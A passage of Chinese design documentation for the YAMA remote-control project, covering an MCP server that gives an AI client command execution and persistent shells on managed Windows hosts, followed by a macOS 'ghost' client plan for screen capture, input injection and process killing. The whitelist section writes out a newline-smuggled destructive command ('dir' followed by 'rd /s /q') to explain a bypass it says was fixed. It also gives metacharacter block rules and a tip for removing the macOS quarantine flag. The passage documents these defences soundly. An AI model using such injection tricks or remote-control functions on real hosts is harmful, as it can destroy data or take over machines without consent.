含控制字符(\r\n 等 <0x20 → -32008 防换行拆分绕过白名单
白名单前缀校验 → -32007 不在白名单
```
- **白名单**`IsCommandAllowed` 做「trim + ASCII 小写后前缀匹配」,且前缀后须为空/空格/制表符(防 `dirx` 误配 `dir`)。配置为空时回落到内置 `kDefaultCmdWhitelist`
```
dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,
path,set,find,findstr,reg query,sc query,
ping,tracert,nslookup,getmac,driverquery,query,gpresult,
arp -a,route print,schtasks /query
```
- **元字符门 `&|<>^`** 是**安全门**(拒绝 shell 注入/命令拼接),比持久终端的 `&|` 更严。
- **控制字符门**:同时拒绝所有 `<0x20` 的控制字符(`\r`/`\n` 等)。否则 `dir \n rd /s /q ...` 这种带内嵌换行的命令会通过「前缀 `dir` + 空格」的白名单校验,却在 `cmd.exe` 里被换行拆成两条独立命令、执行任意后续行——彻底绕过只读白名单。这是 2026-08-24 独立审查发现并修复的**安全漏洞**。
### 3.2 流程
```
BeginTermPending(devId, command, nonce) → false 则 -32003该 host 已有终端会话)
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(devId, subCtx, isPty, timeoutMs)
→ 超时 -32001内部已自清理
组哨兵行 Send2Client (见 §2.3
WaitTerminalDone(devId, raw, exitCode, closed, timeoutMs)
→ 超时 -32001内部已自清理 + 调用方 CancelIO
subCtx->CancelIO() ← 一次性:读完即关子链接,结束 shell
清洗输出§2.4
审计PostMessageA(WM_SHOWERRORMSG, ..., "MCP命令执行")
返回 { stdout, exit_code }
```
### 3.3 `WaitTerminalDone` 三态(一次性专用)
- **哨兵命中done**`out` = `data[0..sentPos)`(截断到哨兵前),`exitCode=0/1`**擦除会话+路由**,返回 true。
- **进程退出closed**`out` = 全部 `data`(无哨兵),`exitCode=-1`,擦除会话+路由,返回 true。
- **超时**:擦除会话+路由,返回 false调用方 `CancelIO`)。
---
## 4. 持久终端 `terminal_open` / `terminal_exec` / `terminal_close`
### 4.1 工具契约
| 工具 | 入参required | 出参 |
|---|---|---|
| `terminal_open` | `id`+`timeout_ms` | `session_id`(32hex)、`is_pty`(bool) |
| `terminal_exec` | `id`、`session_id`、`command`+`timeout_ms` | `stdout`、`exit_code` |
| `terminal_close` | `id`、`session_id` | `closed`(bool恒 true) |
`session_id` 由服务端 `GenerateRandomToken()` 生成32 hex / 128 bit
### 4.2 共享前置 `ResolveTerminalSessionHost`
`terminal_open` / `terminal_exec` 复用(`terminal_close` 为幂等内联版,见 §4.5
```
IsTerminalEnabled() && !IsReadonly() → -32006需 McpTerminal=1 且 McpReadonly=0
ParseHostIdArg → -32602
FindMainContext → -32002 主机不存在/离线
clientType==LNX/MAC → -32005 仅 Windows
```
### 4.3 `terminal_open`
```
SweepIdleTerminals(300) ← 先回收闲置会话
ResolveTerminalSessionHost
sessionId = GenerateRandomToken()
BeginTermOpen(devId, sessionId) → false 则 -32003单设备单终端
ctx->Send2Client(COMMAND_SHELL) → 失败 ClearTermPending + -32004
WaitTerminalReady(...) → 超时 -32001自清理
审计 "term-open"
返回 { session_id, is_pty }
```
**关键**`WaitTerminalReady` 成功后**不擦除会话**(与一次性相反)——会话要留给后续 `terminal_exec`。此时 `started=true`、`busy=false`shell 空闲运行。
### 4.4 `terminal_exec`
```
SweepIdleTerminals(300)
ResolveTerminalSessionHost
session_id 为空 → -32602
command 为空 → -32602
command 含 & 或 | → -32008正确性门见 §4.6
nonce = 随机 8 hex
BeginTermCommand(devId, sessionId, command, nonce, subCtx, isPty)
→ false 则 -32002不存在/不匹配/未就绪/忙碌/已关)
sentLine = SendTerminalCommandLine(subCtx, isPty, command, nonce)
WaitTermCommand(devId, raw, exitCode, closed, timeoutMs)
→ 超时subCtx->CancelIO() + -32001
→ closedsubCtx->CancelIO()(会话已被清理,仅对称无害)
stdoutStr = CleanTerminalOutput(raw, cp, sentLine)
审计 "term-exec [sessionId]: command"
返回 { stdout, exit_code }
```
**`WaitTermCommand` 三态(持久专用,与一次性不同)**
- **哨兵命中done**`busy=false`、刷新 `lastActiveAt`、`out` 截到 `sentPos`、**保留会话**,返回 true。← 这是「持久」的核心:命令完成后 shell 不关。
- **进程退出closed**`out`=全部 `data`、`exitCode=-1`、**擦除会话+路由**,返回 true。
- **超时**:擦除会话+路由,返回 false调用方 `CancelIO`)。
### 4.5 `terminal_close`
```
SweepIdleTerminals(300)
IsTerminalEnabled() && !IsReadonly() → -32006
ParseHostIdArg → -32602
session_id 为空 → -32602
CloseTermSession(devId, sessionId)
r==2sessionId 不匹配) → -32002防拼错静默泄漏真会话
审计 "term-close"
返回 { closed: true }
```
`CloseTermSession` 返回值语义:**0**=已关闭;**1**=会话不存在(幂等,仍返回 `{closed:true}`**2**=sessionId 不匹配(报错)。
### 4.6 正确性门 `&|`(非安全门)
`terminal_exec` **拒绝含 `&` 或 `|` 的命令**`find_first_of("&|")`,含 `&&`/`||`/`|`),报 `-32008`。原因:哨兵包装 `cmd 2>&1 && echo ... || echo ...` 假定命令是「扁平」的,命令内含 `&`/`|` 会与包装的控制操作符合流、导致退出码失真/输出归属不清。
- 这是**正确性限制,不是白名单**——持久终端本就不设白名单。
- 同样拒绝 `<0x20` 的控制字符(`\r`/`\n`):换行会把命令拆成多行、只有末行被哨兵包装,导致退出码与输出归属失真。
- `> < ^`(重定向 / 转义)**允许**不破坏哨兵链。AI 把链式/管道命令拆成多条 `terminal_exec` 调用即可cwd/env 保持,等价)。
对比:一次性 `exec_command` 因有白名单,其元字符门更严(`&|<>^` 五元字符全拒§3.1)。
---
## 5. 状态机方法明细
### 5.1 一次性命令专用
| 方法 | 作用 |
|---|---|
| `BeginTermPending(devId, cmd, nonce)` | 锁内登记会话;已有会话则 false单设备单终端。 |
| `WaitTerminalReady(devId, subCtx, isPty, timeout)` | 等 `started`;超时**擦除**并返回 false。成功输出 `subCtx`/`isPty`**不擦**。 |
| `WaitTerminalDone(...)` | 等 `done||closed`;三态见 §3.3。 |
| `ClearTermPending(devId)` | 发送失败等提前退出路径的清理。 |
| `IsTermPending(devId)` | `MessageHandle` 判定是否有待接管的终端会话。 |
| `RegisterTerminalContext(devId, subCtx, isPty)` | 子连接就绪接管:置 `started/subCtx/isPty`、登记反向索引、发 `COMMAND_NEXT`(+PTY resize)、`notify_all`。 |
| `IsTerminalContext(subCtx)` | `MessageHandle` 顶部路由判定。 |
| `OnTerminalData(subCtx, data, len)` | 追加输出、`FindSentinel` 命中置 `done` + `notify``done||closed` 时忽略迟到数据。 |
| `OnTerminalClosed(subCtx)` | 置 `closed`;空闲持久会话直接擦;`notify_all` 唤醒 busy 等待线程。 |
### 5.2 持久终端专用
| 方法 | 作用 |
|---|---|
| `BeginTermOpen(devId, sessionId)` | 锁内建持久会话(`persistent=true`、`lastActiveAt=now`);已有会话 false。 |
| `BeginTermCommand(devId, sid, cmd, nonce, subCtx, isPty)` | 锁内校验「persistent && sid 匹配 && started && !busy && !closed」→ 置 `busy=true`、**原子复位** `data/sentPos/exitCode/done/closed`、更新 `command/nonce/lastActiveAt`。 |
| `WaitTermCommand(...)` | 等 `done||closed`;三态见 §4.4。 |
| `CloseTermSession(devId, sid)` | 不存在→1sid 不匹配→2`busy` 时仅置 `closed`+notify交等待线程清理防双重擦除非 busy 直接擦+锁外 `CancelIO`。 |
| `SweepIdleTerminals(idleTimeoutSec)` | 回收 `persistent && !busy && difftime(now,lastActiveAt)>idle` 的会话;收集后锁外 `CancelIO`。 |
### 5.3 `OnTerminalClosed` 的泄漏修复
`OnTerminalClosed` 有**两个入口**
1. `MessageHandle` 的 `TOKEN_TERMINAL_CLOSE` 分支(客户端 shell 优雅退出时发 token
2. `OfflineProc``2015RemoteDlg.cpp`)——连接**骤然断开**(网络断/客户端崩溃,无 token与 `WebService().OnTerminalClosed` 并列调用 `McpServer().OnTerminalClosed`。此入口是 2026-08-24 独立审查发现缺失并补齐的:否则骤断的持久终端会话会在 `m_TermSessions`/`m_TermContextToDevice` 里留悬空 `subCtx`,连接池复用地地址后会误路由新连接、甚至 `CancelIO` 掉无关连接。
shell 进程退出时,若是一个**空闲持久会话**`persistent && !busy && started`),没有等待线程会清理它,会泄漏死 `subCtx`。故:
```cpp
s.closed = true;
if (s.persistent && !s.busy && s.started) {
m_TermContextToDevice.erase(subCtx); // 空闲持久会话:直接擦(无需 CancelIO已死
m_TermSessions.erase(sit);
}
m_TermCv.notify_all(); // busy 场景唤醒等待线程由其清理;一次性 exec 路径不变
```
---
## 6. 并发模型与不变量
### 6.1 关键不变量
- **`CancelIO` 一律在 `m_TermMutex` 之外**(所有路径:`BuildExecCommand`、`BuildTerminalExec`、`CloseTermSession`、`SweepIdleTerminals`)。这是硬约束——`CancelIO` 可能阻塞/回调,锁内调用会死锁。
- **`wait_for` 期间不持有会被他人擦除的迭代器**:等待线程(`WaitTermCommand`)持 `it`,但**只有它自己**会在超时/closed 路径擦除该会话;`terminal_close`/`sweep` 因 `busy` 标志而**不会**擦除「正在等待的命令」的会话。这就是 `busy` 标志的核心作用。
- **单设备单终端**`terminal_*` 与 `exec_command` 因**共享 `m_TermSessions`** 而互斥(双向 `-32003`)。`BeginTermPending` 与 `BeginTermOpen` 都做「已有会话则 false」。
### 6.2 `busy` 标志生命周期
```
terminal_exec: BeginTermCommand 置 busy=true
Send2Client
WaitTermCommand 返回时:
done 路径 → busy=false保留会话
closed 路径 → 会话被擦除
超时路径 → 会话被擦除
terminal_close会话忙时→ 仅置 closed=true + notify不擦交等待线程清理
```
### 6.3 互斥矩阵
| | `exec_command` | `terminal_*` | `list_files`/`get_screenshot` 等 |
|---|---|---|---|
| `exec_command` | 互斥(-32003 | 互斥(-32003 | 无关(各用 `m_Pending` |
| `terminal_*` | 互斥 | 单设备单终端 | 无关 |
> Web 终端与 MCP 终端各用独立 map理论上可同设备并存既有现象非本次范围
### 6.4 idle 回收语义
`SweepIdleTerminals(300)``lastActiveAt` 在 `BeginTermOpen` / `BeginTermCommand` **(命令开始时)**更新,**命令完成后不刷新**。因此「两次命令间隔 < 300s」的活跃会话安全「一次长命令 + 长时间无新命令」的会话会在最后一次命令开始 300s 后被回收。回收是非惰性的——每次 `terminal_*` 入口先 sweep所以空闲会话不会在无请求时被后台主动关闭但也不占后台定时器资源。用 `difftime` 比较防时钟回拨下溢。
---
## 7. 安全模型
| 维度 | `exec_command` | 持久终端 |
|---|---|---|
| 开关 | `McpReadonly=0` | `McpTerminal=1` **且** `McpReadonly=0`(默认 `McpTerminal=0` |
| 白名单 | 有(内置/自定义前缀白名单) | **无**(完整 shell可写命令、重定向、改环境 |
| 元字符门 | `&|<>^` + 控制字符全拒(安全门) | `&|` + 换行拒(正确性门) |
| 审计 | `WM_SHOWERRORMSG` 标题「MCP命令执行」 | 标题「MCP持久终端」open/exec/close 各一条) |
| 生命周期 | 命令结束即关 | 会话保持,闲置 300s 回收,`terminal_close` 显式关 |
| 会话隔离 | 单设备单终端 | 单设备单终端 + `session_id` 校验防串用 |
审计实现:`PostMessageA(WM_SHOWERRORMSG, new CString(...), new CString(_TR("...标题...")))` → 进入服务端 `m_MessageLog``get_audit_log` 可查。审计不可关闭。
---
## 8. 配置项
| 键 | 默认 | 说明 |
|---|---|---|
| `McpEnabled` | 0 | MCP 总开关 |
| `McpPort` | 6544 | 监听端口 |
| `McpBind` | 127.0.0.1 | 绑定地址(默认仅回环) |
| `McpToken` | (空→运行时兜底) | Bearer token |
| `McpReadonly` | 1 | 只读模式(禁 `exec_command` 与持久终端) |
| `McpCmdWhitelist` | (空→内置白名单) | `exec_command` 白名单,逗号分隔 |
| `McpTerminal` | 0 | 持久终端开关(要求 `McpReadonly=0` |
**存储位置**Release 版存**注册表** `HKCU\Software\YAMA\settings`**不是** `settings.ini``settings.ini` 仅 Debug 版读取)。改动需**重启程序**生效。
**启动读取**`2015RemoteDlg.cpp`
```cpp
McpServer().SetReadonly(THIS_CFG.GetInt("settings", "McpReadonly", 1) != 0);
McpServer().SetCmdWhitelist(THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""));
McpServer().SetTerminalEnabled(THIS_CFG.GetInt("settings", "McpTerminal", 0) != 0);
```
**工具可见性**`terminal_*` 三个工具在 `tools/list` 里**仅在** `IsTerminalEnabled() && !IsReadonly()` 时出现(门控在 `BuildToolsListResult`)。故默认配置下 `tools/list` 看不到它们。
---
## 9. 错误码
| 码 | 含义 | 触发点 |
|---|---|---|
| `-32001` | 超时 | `WaitTerminalReady`/`WaitTermCommand`/`WaitPending` 等超时 |
| `-32002` | 主机/会话不存在 | `FindMainContext` 失败、`session_id` 不匹配/未就绪/已关 |
| `-32003` | 设备忙 | 单设备单终端冲突、同 host 已有挂起请求 |
| `-32004` | 发送失败 | `Send2Client` 失败 |
| `-32005` | 非 Windows | LNX/MAC 客户端 |
| `-32006` | 已禁用/只读 | `IsReadonly()` 或 `!IsTerminalEnabled()` |
| `-32007` | 白名单拒绝 | `IsCommandAllowed` false |
| `-32008` | 含禁用字符 | `exec_command` 的 `&|<>^``terminal_exec` 的 `&|` |
| `-32602` | 参数非法 | `ParseHostIdArg` 失败、缺 required 参数 |
| `-32700` | JSON 解析错误 | 请求体非合法 JSON-RPC |
---
## 10. 排查指南(供后续人员/大模型)
### 10.1 `exec_command` 返回 `-32001` 超时
- 先看是不是**目标机环境问题**而非代码 bug`nslookup`/`where` 在部分机器会因 DNS/文件系统异常稳定超时(见项目记忆)。裸 `nslookup <host>` 卡默认重试 20~40s > MCP 超时;`where cmd.exe` 在特定机器卡 PATH 解析。
- 服务端行为正确:超时返回 `-32001` 并清理终端会话,不挂起/崩溃。
### 10.2 `terminal_*` 在 `tools/list` 里看不到
- 检查 `McpTerminal=1` **且** `McpReadonly=0`。任一不满足,工具不出现且调用返回 `-32006`。
- 改配置后需**重启程序**(注册表配置启动时读)。
### 10.3 `terminal_exec` 返回 `-32002`
- 会话已被回收(闲置 >300s、shell 已退出、或 `session_id` 拼错。重新 `terminal_open`。
- `terminal_close` 的 `-32002` 特指 **session_id 不匹配**(防串用)。
### 10.4 `-32003` 设备忙
- 单设备单终端:同 host 已有终端会话(持久或一次性)在飞。等它结束或 `terminal_close`。
- 紧接 `terminal_close`(会话 busy 时)后立刻 `terminal_open` 可能偶发 `-32003`busy 会话的关闭是「标记 closed + 交等待线程清理」,清理完成前有极短窗口。重试一次即可,非死锁。
### 10.5 stdout 里出现命令本身 / 哨兵
- 命令本身回显 = ConPTY 输入回显,已由 `StripEchoedCommand` 服务端剔除§2.4)。若仍出现,检查是否该行因编码(非 PTY 老管道的 GBK与 `echoedLine` 字节不一致而 `find` 不到——老管道本应无回显。
- 哨兵 `__MCP_DONE_...` 出现 = 哨兵截断/清洗异常,通常意味着命令含 `&|` 破坏了控制操作符链(持久终端会提前 `-32008` 拒绝,一次性会 `-32008` 拒绝五元字符)。
### 10.6 中文/乱码
- 输出乱码:检查 `isPty` 与 `cp` 是否匹配PTY=UTF-8老管道=GBK
- **`get_audit_log` 中文正确**`BuildGetAuditLog` 用 `ToUtf8(type/time/msg, 936)` 把 GBK 转 UTF-8jsoncpp 输出 `\uXXXX` 转义,客户端解析后中文正常(已实测 `MCP持久终端`/`MCP命令执行`/`操作成功`/`主机上线` 等均无乱码)。
### 10.7 会话泄漏 / 子链接不关
- 三个擦除点:`WaitTermCommand`closed/超时)、`CloseTermSession`、`SweepIdleTerminals`;以及 `OnTerminalClosed` 对**空闲持久会话**的直接擦除§5.3)。排查时确认 shell 退出路径 `OnTerminalClosed` 是否命中、`COMMAND_NEXT` 是否漏发导致输出永不回流。
---
## 11. 关键源文件索引
| 文件 | 内容 |
|---|---|
| `server/2015Remote/McpServer.h` | `TermSession` 结构、`BeginTermOpen/Command/WaitTermCommand/CloseTermSession/SweepIdleTerminals` 声明、`m_terminalEnabled` |
| `server/2015Remote/McpServer.cpp` | `BuildExecCommand`~1946、`BuildTerminalOpen/Exec/Close`~2345、状态机方法~2660、`FindSentinel`~2569、`StripEchoedCommand`~1935、`SendTerminalCommandLine`~2192、`CleanTerminalOutput`~2206、`ResolveTerminalSessionHost`~2160 |
| `server/2015Remote/McpSettingsDlg.h/.cpp` | `IDC_MCP_TERMINAL` 复选框、回填/落盘 `McpTerminal` |
| `server/2015Remote/2015RemoteDlg.cpp` | 启动读 `McpTerminal` → `SetTerminalEnabled` |
> 构建由 VS2019MSBuild v143完成项目工具集 v142无法在外部环境构建。

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# macOS 远程桌面客户端设计文档
## 1. 概述
### 1.1 目标
在不影响现有 Windows/Linux 功能的基础上,为 YAMA 项目添加 macOS 客户端支持,前期实现远程桌面控制功能。
### 1.2 功能范围Phase 1
| 功能 | 优先级 | 状态 | 说明 |
|-----|--------|------|------|
| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
### 1.3 参考实现
- **Linux 客户端** (`linux/`): 架构相似,协议兼容
- **RustDesk**: 成熟的跨平台远程桌面开源项目
- **Sunshine**: 高性能游戏串流项目
---
## 2. 架构设计
### 2.1 目录结构(已实现)
```
YAMA/
├── common/ # 跨平台共享(已有)
│ ├── commands.h # 协议定义
│ └── ...
├── client/ # Windows 客户端(不动)
├── linux/ # Linux 客户端(不动)
└── macos/ # macOS 客户端Phase 1 完成)
├── CMakeLists.txt # 构建配置
├── build.sh # 一键编译脚本
├── README.txt # 使用说明
├── IOCPClient.h # 网络客户端 stub
├── main.mm # 入口点 + 系统信息
├── Permissions.h # 权限检查声明
├── Permissions.mm # 权限检查实现
├── ScreenHandler.h # 屏幕捕获声明
├── ScreenHandler.mm # 屏幕捕获实现
├── InputHandler.h # 输入模拟声明
├── InputHandler.mm # 输入模拟实现
├── SystemManager.h # 进程管理声明
└── SystemManager.mm # 进程管理实现
```
### 2.2 模块依赖关系
```
┌─────────────────────────────────────────────────┐
│ main.mm │
│ (入口、权限检查、系统信息收集) │
└─────────────┬───────────────────────────────────┘
┌─────────┼─────────┬─────────────┐
▼ ▼ ▼ ▼
┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
│Screen │ │Input │ │System │ │IOCPClient │
│Handler│ │Handler│ │Manager│ │(网络 stub) │
└───┬───┘ └───┬───┘ └───────┘ └────────────┘
│ │
▼ ▼
┌─────────────────────────────────┐
│ macOS 系统框架 │
│ CoreGraphics (截屏) │
│ Carbon (键码定义) │
│ ApplicationServices (权限) │
└─────────────────────────────────┘
```
---
## 3. 技术选型
### 3.1 屏幕捕获方案(已选定)
| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
|-----|---------|------|--------|-----|
| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
**选择 CGDisplayCreateImage**
- 实现简单,兼容性好
- 与 Linux 端 `XGetImage` 方案一致
- 足以支持 10-30 FPS 传输
### 3.2 输入模拟方案(已实现)
| 功能 | API | 实现状态 |
|-----|-----|---------|
| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
### 3.3 VK 键码映射(已实现)
Windows VK 码到 macOS CGKeyCode 的完整映射:
| 按键类型 | VK 范围 | macOS 映射 |
|---------|---------|-----------|
| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
| Win 键 | 0x5B-0x5C | kVK_Command |
### 3.4 差分算法(与 Linux 一致)
| 算法 | ID | 说明 |
|-----|-----|------|
| ALGORITHM_GRAY | 0 | 灰度压缩 |
| ALGORITHM_DIFF | 1 | BGRA 差分 |
| ALGORITHM_H264 | 2 | 硬件编码(未实现)|
| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
### 3.5 macOS 版本支持
| 版本 | 代号 | 发布年份 | 支持状态 |
|-----|------|---------|---------|
| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
| 10.14 | Mojave | 2018 | ✅ 支持 |
| 10.15 | Catalina | 2019 | ✅ 支持(需权限) |
| 11.x | Big Sur | 2020 | ✅ 支持 |
| 12.x | Monterey | 2021 | ✅ 支持 |
| 13.x | Ventura | 2022 | ✅ 支持 |
| 14.x | Sonoma | 2023 | ✅ 支持 |
**注意**macOS 10.15+ 需要用户授予屏幕录制权限。
---
## 4. 权限处理
### 4.1 所需权限
| 权限 | 用途 | 最低要求版本 | 授权方式 |
|-----|------|------------|---------|
| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
### 4.2 权限检查实现Permissions.mm
```objc
// 检查屏幕录制权限
bool Permissions::checkScreenCapture() {
if (@available(macOS 10.15, *)) {
CGImageRef image = CGWindowListCreateImage(
CGRectMake(0, 0, 1, 1),
kCGWindowListOptionOnScreenOnly,
kCGNullWindowID,
kCGWindowImageDefault
);
if (image == nil) return false;
CGImageRelease(image);
return true;
}
return true; // 10.15 之前不需要权限
}
// 检查辅助功能权限
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
// 请求辅助功能权限(弹出系统对话框)
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
```
### 4.3 权限引导流程
```
程序启动
检查屏幕录制权限 ──否──▶ 打开系统偏好设置
检查辅助功能权限 ──否──▶ 弹出授权对话框
正常运行
```
---
## 5. 核心代码实现
### 5.1 ScreenHandler已实现
```objc
// ScreenHandler.h
class ScreenHandler {
public:
ScreenHandler();
~ScreenHandler();
bool init(); // 初始化
void start(IOCPClient* client, uint64_t id); // 开始捕获
void stop(); // 停止捕获
int getWidth() const;
int getHeight() const;
void sendBitmapInfo(); // 发送屏幕信息
void onReceive(const uint8_t* data, size_t size);
void applyQualityLevel(int8_t level, bool persist);
private:
bool captureScreen(std::vector<uint8_t>& buffer); // 截屏
void sendFirstScreen(); // 发送首帧
void sendDiffFrame(); // 发送差分帧
uint32_t compareBitmap(...); // 差分计算
void convertBGRAtoGray(...); // 灰度转换
void convertBGRAtoRGB565(...); // RGB565转换
void captureLoop(); // 捕获循环
// 成员变量
IOCPClient* m_client;
CGDirectDisplayID m_displayID;
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame, m_currFrame;
std::atomic<bool> m_running;
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
};
```
### 5.2 InputHandler已实现
```objc
// InputHandler.h
class InputHandler {
public:
InputHandler();
~InputHandler();
bool init(); // 初始化(检查权限)
void handleInputEvent(const MSG64_MAC* msg); // 处理输入事件
bool hasAccessibilityPermission() const;
private:
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
void handleKeyEvent(uint32_t vkCode, bool down);
static CGKeyCode vkToMacKeyCode(uint32_t vk); // VK 到 macOS 键码映射
bool m_hasPermission;
CGPoint m_lastMousePos;
bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
};
```
### 5.3 SystemManager已实现
```objc
// SystemManager.h
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
void onReceive(const uint8_t* data, size_t size);
private:
void sendProcessList(); // 进程列表
void killProcesses(const uint8_t* data, size_t size);
void sendWindowsList(); // 窗口列表
static std::vector<pid_t> getAllPids(); // 枚举进程
static std::string getProcessName(pid_t pid);
static std::string getProcessPath(pid_t pid);
};
```
### 5.4 main.mm已实现
主要功能:
- 命令行参数解析
- 权限检查和引导
- 系统信息收集主机名、OS版本、CPU、内存等
- 初始化各处理器
- 主事件循环
```objc
int main(int argc, const char* argv[]) {
@autoreleasepool {
// 1. 解析命令行参数
// 2. 检查权限
// 3. 收集系统信息
// 4. 初始化 ScreenHandler, InputHandler
// 5. 主循环
}
return 0;
}
```
---
## 6. 构建配置
### 6.1 CMakeLists.txt
```cmake
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64") # Universal Binary
set(SOURCES
main.mm
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
)
add_executable(ghost ${SOURCES})
target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
# 链接 macOS 框架
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
)
target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
```
### 6.2 编译命令
```bash
# 方式 1: 使用脚本
chmod +x build.sh
./build.sh
# 方式 2: 手动编译
mkdir build && cd build
cmake ..
make -j$(sysctl -n hw.ncpu)
# 输出: build/bin/ghost
```
---
## 7. 实现进度
### Phase 1: 基础框架 ✅ 完成
| 任务 | 状态 | 产出 |
|-----|------|------|
| 创建目录结构 | ✅ | `macos/` 目录 |
| CMakeLists.txt | ✅ | 构建配置 |
| Permissions.h/mm | ✅ | 权限检查 |
| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
| InputHandler.h/mm | ✅ | 输入模拟 |
| SystemManager.h/mm | ✅ | 进程管理 |
| main.mm | ✅ | 入口点 |
| IOCPClient.h | ✅ | 网络 stub |
### Phase 2: 网络集成 ⏳ 待实现
| 任务 | 状态 | 说明 |
|-----|------|------|
| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
| 心跳保活 | ⏳ | Heartbeat 机制 |
| 命令分发 | ⏳ | DataProcess 回调 |
### Phase 3: 功能完善 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 光标类型同步 | ⏳ |
| 多显示器支持 | ⏳ |
| 文件传输 | ⏳ |
| 剪贴板同步 | ⏳ |
### Phase 4: 代码保护 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 服务端密钥对生成 | ⏳ |
| 服务端签名逻辑 | ⏳ |
| 闭源库 libYamaCore | ⏳ |
| 客户端绑定验证 | ⏳ |
---
## 8. 测试指南
### 8.1 编译前准备
```bash
# 安装 Xcode Command Line Tools
xcode-select --install
# 安装 CMake (通过 Homebrew)
brew install cmake
```
### 8.2 编译运行
```bash
# 获取代码
git clone <repo-url>
cd YAMA/macos
# 编译
./build.sh
# 运行
./build/bin/ghost [server_ip] [port]
```
### 8.3 首次运行权限授予
1. **屏幕录制权限**
- 系统偏好设置 > 隐私与安全性 > 屏幕录制
- 添加 `ghost` 可执行文件
2. **辅助功能权限**
- 系统偏好设置 > 隐私与安全性 > 辅助功能
- 添加 `ghost` 可执行文件
### 8.4 预期输出
```
=== macOS Ghost Client (Phase 1) ===
Server: 192.168.0.55:6543
Checking permissions...
Collecting system information...
Hostname: MacBook-Pro.local
OS: macOS 14.0.0
CPU: Apple M1 (0 MHz, 8 cores)
Memory: 16.0 GB
User: username
Resolution: 1:2560x1600
Executable: /path/to/ghost
Start Time: 2024-04-29 12:00:00
Initializing handlers...
Screen handler initialized: 2560x1600
Input handler initialized
=== Phase 1 Status ===
Screen Capture: READY
Input Control: READY
Network: STUB (Phase 2)
======================
Starting main loop (Ctrl+C to exit)...
```
---
## 9. 常见问题
### 9.1 编译问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
| CMake 找不到 | 未安装 CMake | `brew install cmake` |
| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
### 9.2 运行时问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
